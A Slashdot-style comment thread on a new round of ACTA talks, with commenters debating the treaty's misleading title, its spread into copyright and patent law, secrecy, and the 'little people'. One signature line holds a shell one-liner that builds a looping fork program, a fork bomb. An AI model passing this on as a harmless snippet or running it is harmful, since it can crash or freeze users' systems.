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ACTA Is Backta, New Round of Talks Start Today
An anonymous reader writes "Negotiations on the Anti-Counterfeiting Trade Agreement resume today in Lucerne, Switzerland, with the ninth round of talks. The Toronto Star highlights the mounting opposition to the deal from developing world countries such as India and China, while Michael Geist has posted a video
of a recent lecture that provides background on the agreement and where
things currently stand."
Is that a facta?
Please don't ever do that again.
It is by my will alone my thoughts acquire motion; it is by the juice of the coffee bean that the thoughts acquire speed
ACTA is megalomaniac masturbation of the political and business elite.
ACTA IS BACKTA! It's what mortal wounds crave!
For comparison, consider efforts to get voter approval for casino gambling in my home state. The potential casino owners attempted to get approval in just about every election, and despite being shot down 2 times eventually won on the third try. Why did they keep trying? Because even if they had to spend $100 million in advertising and campaigning, they knew that the upside was much higher than that. So they were continually willing to spend whatever money and time it took to win.
ACTA is much like this. The copyright owners believe it will make them huge sums of money long-term, quite possibly in the $trillions. So they will keep spending the time and the money to propose ACTA or ACTA-like ideas until their opponents run out of time and money.
I am officially gone from
Freedom of speech is meaningless if the issues about which one has cause to speak are shrouded in maximal secrecy.
Sometimes boldness is in fashion. Sometimes only the brave will be bold.
Dear sir, I find your statement offensive... masturbation never harmed anyone!!!
did kdawson hack CmdrTaco account?
This is a good thing for all concerned !!
Unfortunately, there is no such thing as absolutely good for all concerned. Remember, "Everything is gray".
IP could be good for many people, and I would love to see it being applied fairly. But when people choose money over humanity, the things start getting ugly.
I still remember when India was discussing about joining WTO, their biggest concern was something they had been doing since ages, but patented in US (example Basmati rice). It was general impression with Indians that the moment India joins WTO, somebody from US would stand with gun in front of farmers in India, preventing them from growing Basmati rice they have been doing for generations.
hilarious
Where you stand with the ACTA agreement if implemented.... no need to worry about it, it will cut the legs off of ordinary people, whilst pandering to big money to tighten it's grip on the little people. Thus the problem of "where you stand" will be eliminated.
Take Nobody's Word For It.
you're up against full time lawyers, and you're just a bunch of starry eyed idealists with day jobs & kids on the way.
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That specific matter has been resolved nowadays, but obviously there is no way to tell what left in store for patent holder.
I downloaded the version of ACTA posted previously. Considering the title is the Anti Counterfeiting Trade Agreement, I figured it would talk about the illegal production of currency, with a page or two that lobbyists stuck in the middle dealing with copyright infringement. So I did a text search on "money," "coin" and "currency."
The only results were talking about whether money exchanges hands for illegally copied works.
In other words, the Anti COUNTERFEITING Trade Agreement has nothing to do with the illegal production of false currency. Nothing whatsoever. The "Counterfeiting" in the title refers to simple copyright infringement. It's trying to equate copyright infringement with one of the most serious crimes a sovereign nation can face.
If a treaty has to lie right in the title in order not to provoke outrage by the citizens of the countries governed by it, it's a bad treaty. No exceptions.
The jury box, unlikely to succeed in all honesty.
The ammo box, where it all seems to be heading.
I would prefer that blood not be shed but as History has shown, sometimes its the only way left to bring about change. For good or ill, there will be blood.
Not intended for medical use a long time ago in a galaxy far, far, away.
You're spot on, ACTA has zilch to do with currency counterfeiting. The title comes from the time when it was envisioned as a tool to deal with fake Gucci, D&G, & Louis Vuitton products, basically. Knock-off purses, sunglasses, clothing, all that stuff you can buy in the streets of every major city from vendors who spread them out on blankets.
Then ACTA got an Internet chapter! Which is funny, you know, because there's really not much counterfeiting of that type going on online. (Actually, there is, what with the cases filed against eBay for allowing third parties to sell fake handbags and perfumes, but the Internet chapter is all about copyright infringement, not trademark infringement). And it wants to export all the bad parts of the DMCA and US copyright law generally, with very few of the good parts.
Then some countries decided for good measure to throw patent infringement into the mix, and all of the sudden, ACTA was no longer about handbags, but about ALL intellectual property law, affecting potentially every sector and issue IP geeks care about: the Internet, free speech, access to information, generic medicines and public health, innovation, etc.
Meanwhile, it's conveniently kept the same title, since it's much less interesting sounding than "Important IP Treaty (but not really a treaty, since it doesn't require Congressional ratification) that will effectively rewrite many laws (even though we keep saying it won't, which is funny because if that's really true, why is anyone signing it) and screw over users, independent producers, and several major sectors."
"Anyone who [rips a CD] is probably engaging in copyright infringement." - David O. Carson
"Counterfeit" means a false version of *anything*. It's not just currency. DUH. You can have counterfeit Prada bags, counterfeit Nintendo cartridges, counterfeit anything. GET IT? But you are correct that they are burying in copyright issues as if they are the same thing. That is the real agenda... to place copyright infringement in the same bag as counterfeit goods.
The real problem with this whole "anti counterfeiting" thing is, the common man, the "little people" have no voice. Yeah, the talks are more transparent than they were a year or six ago - they've lost their "top secret" status. But, who is speaking for the PEOPLE? Absolutely no one.
Which songs are entering the public domain, this year?
Which movies are entering the public domain this year?
Which patents are entering the public domain?
Which copyright and/or patent laws are being made less restrictive this year?
When I hear that some party to these talks are actively pursuing the overhaul of copyright law, THEN I'll feel that some good may come of ACTA. Until then, I view ACTA as little more than a highway to hell. If one party wins out, we go to Satan's throne room, if another party wins out, we end up in the far reaches of Satan's kingdom. But, it's still hell.
I want 20 year old copyrighted works in the public domain, unless the so-called "rights holder" is willing to pay some HUGE bribes to society. Not to a handful of lawmakers, but to society as a whole. Give something to us "little people", in exchange for a continued monopoly on some specific copyrighted work. God knows, that bastard Al Gore doesn't need anything, or Obama, or anyone else in Washington. Give something to the school kids, and the moms and dads who have to pay for all the cool schitzls that the school kids need/want.
"Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
The real problem with this whole "anti counterfeiting" thing is, the common man, the "little people" have no voice.
Well yeah, the whole is about protecting the interests and "integrity" of commerce. Where do the "little people" fit in?
For justice, we must go to Don Corleone
In case you hadn't noticed, Commerce rides on the backs of the little people who supply manpower, and consume the products of commerce.
Of course, commerce has long ago forgotten that the very concept of commerce is a bargain between the wealthy and the not-so-wealthy, that everyone should benefit from commercial arrangements.
A business license is a license from the people, permitting a person or group of persons to conduct business in such a way that the community benefits. When the community no longer benefits, then the community may revoke the license.
IMHO - society isn't deriving much benefit from copyright and patent law these days. Commercial interests want to hoard all the benefits, and force society to pay over and over for any small benefits that commerce might dispense.
"Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
They should have called the ACTA BACTA® to confuse the EFF. After all, Bacta kept Luke Skywalker alive in the Empire Strikes Back so geeks are predisposed to be in favour of them. Plus bacta® is trademarked by Lucasfilm so they can sue or prior restrain people who discuss it on the internet other than in conjunction with Lucasfilm licensed merchandise like the Extra Special Limited Bacta® Edition Empire Strikes Back pack which comes with life size Bacta® tank, only $199,999.99 (Bacta® not included)
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
When they want to make changes to the way copyright work, it *does* concern the little man. You do understand the premise that copyrights were introduced under I hope?
Dave
Our lives begin to end the day we become silent about things that matter. --Martin Luther King Jr.
my niece's TV shows (Hanna Montana) depict file sharing as something evil that will get you put in jail and taken away. For real. Google the summaries if you don't believe.
The new starry-eyed idealists will come up, but they're ideas will be in line with what ACTA's creators want.
So unless you've got something better, I'm going back to despair. At least it's real.
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